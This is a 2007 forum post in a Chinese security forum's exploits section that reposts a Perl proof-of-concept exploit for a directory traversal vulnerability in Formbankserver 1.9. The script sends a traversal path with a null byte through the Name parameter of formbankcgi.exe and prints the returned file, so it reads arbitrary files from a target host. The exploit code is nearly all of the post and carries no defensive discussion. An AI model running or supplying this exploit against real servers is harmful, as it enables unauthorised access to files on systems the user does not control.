Formbankserver 1.9 (Name) Directory Transversal Vulnerability

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1117 小时
注册时间: 2007-10-23
最后登录: 2008-11-17

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-1-2 11:59 只看该作者

Formbankserver 1.9 (Name) Directory Transversal Vulnerability

复制内容到剪贴板

代码:

</p><pre>#!perl
#found by Bl0od3r
#visit [url]http://dc3.dl.am[/url]  
#download:[url]http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796[/url]
#developer:[url]http://www.fersch.de/formbankserver/[/url]
use LWP::Simple;
sub usage
{
die("file.pl host.com /../file.txt");
}
$host= $ARGV[0];
$file= $ARGV[1];
if (!$host) {
die("No Host.");
} ; if (!$file) {
die("No File.");
}
getprint "[url]http://".$host[/url] ."/cgi-bin/formbankcgi.exe/AbfrageForm?Name=".$ARGV[1]."%00";
</pre><p>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Formbankserver 1.9 (Name) Directory Transversal Vulnerability